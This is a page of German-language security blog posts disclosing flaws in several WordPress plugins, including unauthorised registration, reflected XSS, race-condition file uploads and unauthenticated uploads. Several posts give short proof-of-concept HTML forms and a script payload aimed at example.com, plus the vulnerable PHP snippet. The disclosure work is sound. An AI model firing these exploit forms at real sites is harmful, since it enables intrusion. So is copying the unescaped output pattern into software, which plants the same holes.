Bug in WP Modal Login Plugin erstellt Nutzeraccounts

Heute mal ein spannender Bug: Das WP Modal Login bietet einem die Möglichkeit, überall auf der Seite einen Login-Screen aufzurufen. Dafür richtet man an der entsprechenden Stelle einfach einen Shortcode ein - das Login-Formular wird dann einfach als Overlay angezeigt:

1
[wp-modal-login login_text="Login" logout_text="Logout"]

Leider hat das ganze einen kleinen Schönheitsfehler, denn die Klasse "./includes/class-wp-modal.php" enthält nicht nur die Funktion, sich einzuloggen, sondern sie kann auch neue Nutzer anlegen. Das funktioniert sogar dann, wenn die Registrierung neuer Nutzer in der WordPress-Konfiguration deaktiviert wurde. Die Funktion wird zwar nicht über das Login-Formular bereitgestellt, aber es verarbeitet trotzdem entsprechende Anfragen.

Exploit mit Charles Proxy

Exploit mit Charles Proxy

Das ist sehr unglücklich, denn viele andere Plugins verlassen sich darauf, dass ein Angreifer keinen Account für die Webseite hat. Oft bestehen Sicherheitsabfragen nur daraus, zu prüfen, ob ein Nutzer eingeloggt ist oder nicht.

Da der Entwickler laut der Projekt-Webseite keine Zeit mehr für die Pflege des Plugins hat, kann der Rat nur lauten, das Plugin so schnell wie möglich zu deaktivieren. Der Entwickler hat sich - nach Rücksprache mit mir - jedenfalls dazu entschlossen, das Plugin aus dem Plugin-Repository zu entfernen.

Registrierende Grüße, Kenny

Bug in WordPress File Upload Plugin erlaubt XSS

Manchmal kann bereits das Bereitstellen von Fehlerinformationen zu viel des Guten sein - so zum Beispiel beim WordPress File Upload.

Dieses bietet Nutzern - wie der Name schon sagt - die Möglichkeit, Dateien hochzuladen. Dafür kommt AJAX zum Einsatz. In der Datei "./lib/wfu_ajaxactions.php" werden dazu die entsprechenden Handler bereitgestellt. Sollte etwas fehlgeschlagen (zum Beispiel die Session-Prüfung) bekommt der Nutzer nützliche Informationen als Rückantwort. Dies sah bisher so aus:

1
2
3
4
5
6
7
if ( $_SESSION["wfu_token_".$arr['shortcode_id']] != $_POST['session_token'] ) {
     echo "Session failed!<br/><br/>Session Data:<br/>";
     print_r($_SESSION);
     echo "<br/><br/>Post Data:<br/>";
     print_r($_POST);
     die();
}

Das ist jedoch ziemlich problematisch, denn "print_r()" escaped Ausgaben nicht. Es ist also möglich, mit einem präparierten POST-Request beliebige Texte ausgeben zu lassen. Das ganze lässt sich zum Beispiel mit einem einfachen HTML-Formular realisieren:

1
2
3
4
5
<form action="http://example.com/wp-admin/admin-ajax.php" method="POST">
  <input type="hidden" name="action" value="wfu_ajax_action" />
  <input type="hidden" name="session_token" value="<script>alert(1+1);</script>" />
  <input type="submit" />
</form>

In der nun veröffentlichten Version 2.4.4 ist das Problem beseitigt worden. Es ist daher anzuraten, das Plugin so schnell wie möglich upzudaten.

Präparierte Grüße, Kenny

Bug in Form Builder Plugin ermöglicht vollständige Kompromittierung

Und wieder einmal ist mir ein besonders fieser Bug über den Weg gelaufen. Dieses mal habe ich ihn im Form Builder Plugin gefunden. Form Builder ist dafür gedacht, dass man Webformulare per Drag&Drop erstellen und einfach im Blog auf Seiten und in Beiträgen einbinden kann.

Das ganze funktioniert, indem man einen "form"-Tag mit einer zugehörigen ID in den Seitentext schreibt. Das Plugin klinkt sich in den "the_content"-Hook ein, sucht nach dem "form"-Tag, nimmt die ID, geht damit gegen einen Server des Plugin-Anbieters und ruft das HTML des Formulars ab, um es anzuzeigen.

Zum Abrufen haben die Entwickler des Plugins eine eigene Klasse namens "formHttpRequest" geschrieben, die sich in der Datei "includes/http.class.php" befindet und per CURL die Serveranfragen stellt. Leider benimmt sie sich dabei etwas merkwürdig.

Anstatt einfach nur eine Anfrage an den Server zu stellen, bereitet sie vorher jede Menge vor - unter anderem nimmt sie in der Methode "connect()" alle per POST gesendeten Dateien an und versucht sie in den Uploads-Ordner zu schreiben (normalerweise "./wp-content/uploads/") - aufgrund eines fehlenden Slashes misslingt das aber, sodass die Dateien anschließend z.B. "./wp-content/uploadstest.txt" heißen, wenn die ursprünglich hochgeladene Datei "test.txt" hieß.

Die hochgeladenen Dateien werden zwar nach Beenden des Requests wieder gelöscht, während der Request noch läuft können sie jedoch aufgerufen werden. Da man zudem beliebig viele und (von der Serverkonfiguration abhängig) auch beliebig große Dateien mitschicken kann, kann die für den Request benötigte Zeit auch beliebig verlängert werden. Sollte der Server des Pluginanbieters zudem den Request mit einem Fehler beantworten, werden die Dateien gar nicht mehr entfernt.

Der Exploit-Code ist absolut simpel. Der POST-Request muss einfach gegen eine Seite des Blogs gerichtet werden, auf der sich ein entsprechendes Formular befindet. Während der Exploit läuft, muss man dann nur versuchen, seine hochgeladene Datei aufzurufen:

1
2
3
4
5
<form enctype="multipart/form-data" action="http://example.com/example" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    Uploads: <input type="file" name="file[]" multiple="multiple" />
    <input type="submit" />
</form>

Es ist bisher nicht bekannt, ob diese Lücke bereits aktiv zum Angreifen von WordPress-Blogs verwendet wurde. Der Fehler wurde in der aktuellen Version 2.4.2 zumindest gemindert. Die Dateien werden zwar immer noch verarbeitet, verbleiben nun jedoch zumindest im temporären Upload-Ordner von PHP (z.B. "/tmp"). Installationen, bei denen der temporäre Upload-Ordner über das Web erreichbar ist, bleiben damit weiterhin angreifbar! Trotzdem sollten alle Nutzer dieses Plugins schnellstmöglich updaten.

Update:
Ich hatte noch einmal Kontakt mit den Entwicklern gehabt, die nun eine neue Version 2.4.3 mit einem wesentlich besseren Lösungsansatz veröffentlicht haben. :)

Formulierende Grüße, Kenny

Information Leakage im Simplr Registration Form Plus+ Plugin

Zur Abwechslung mal nur ein kleineres Problem: Dieses Mal im Simplr Registration Form Plus+ Plugin.

Dort ist es möglich, die Datei "simplr-registration-form/simplr_reg_options.php" direkt aufzurufen. Darin befindet sich dann eine Liste aller statischen Seiten der WordPress-Webseite - also auch solche, die nicht öffentlicht verlinkt sind.

Direkte Grüße, Kenny

Bugs in zwei WordPress-Plugins verwandelten Blogs in Download-Portale

Vor ein paar Tagen habe ich eine spannende Lücke in zwei miteinander verwandten WordPress-Plugins gefunden. Dabei handelt es sich um den WP Advanced Importer und den WP Ultimate CSV Importer.

Beide Plugins bringen die Dateien "./templates/uploader.php" und "./templates/UploadHandler.php" mit sich. Bei ersterer handelt es sich um einen ungeschützten Einstieg, während zweitere den eigentlichen, schadhaften Code enthält. Beide lassen sich mit folgendem, beispielhaftem Code ausnutzen:

1
2
3
4
5
6
<form enctype="multipart/form-data" action="http://example.com/wp-content/plugins/wp-advanced-importer/templates/uploader.php" method="POST">
    <input type="hidden" name="uploadPath" value="./uploads/" />
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    Upload: <input name="files" type="file" />
    <input type="submit" />
</form>
1
2
3
4
5
6
<form enctype="multipart/form-data" action="http://example.com/wp-content/plugins/wp-ultimate-csv-importer/templates/uploader.php" method="POST">
    <input type="hidden" name="uploadPath" value="./uploads/" />
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    Upload: <input name="files" type="file" />
    <input type="submit" />
</form>

Hier passiert folgendes: Die "uploader.php" instanziiert die Klasse "UploadHandler". Vom Konstruktor wird die Methode initialize() aufgerufen, die wiederum die Methode post() aufruft. Darin enthalten ist eine Upload-Verarbeitungsroutine, die sich durch einzelne Request-Parameter steuern lässt. Im oben gezeigten Fall landen hochgeladene Dateien im Plugin-Unterordner "./templates/uploads/ultimate_importer/". Als geringen Schutz wird der Dateiname gehasht. Der finale Dateiname lässt sich jedoch wie folgt ermitteln:

1
hash_hmac('md5', $DATEINAME, 'secret');

Praktischerweise gibt das Upload-Script auch noch jede Menge Feedback, sodass man sich gut orientieren kann, welche schlussendlichen Pfade man denn mal probieren könnte:

1
{"files":[{"name":"BEISPIEL.php--1.csv","size":25,"type":"text\/php","url":"http:\/\/example.com\/wp-content\/plugins\/wp-ultimate-csv-importer\/templates\/files\/BEISPIEL.php--1.csv","deleteUrl":"http:\/\/example.com\/wp-content\/plugins\/wp-ultimate-csv-importer\/templates\/?file=BEISPIEL.php--1.csv","deleteType":"DELETE","uploadedname":"B"}]}

Mit dieser Funktion können beliebige Dateien auf Server hochgeladen werden. Sie sind zwar nicht unter dem ursprünglichen Namen verfügbar, für den Austausch von Dateien könnte diese Lücke jedoch problemlos eingesetzt werden. Glücklicherweise wurde der Bug in der Version 1.2.1 des WP Advanced Importer und in der Version 3.6.2 des WP Ultimate CSV Importer behoben. Es ist daher angeraten, schnellst möglich upzudaten.

Importierende Grüße, Kenny

Seite 3 von 82« Erste...234...Letzte »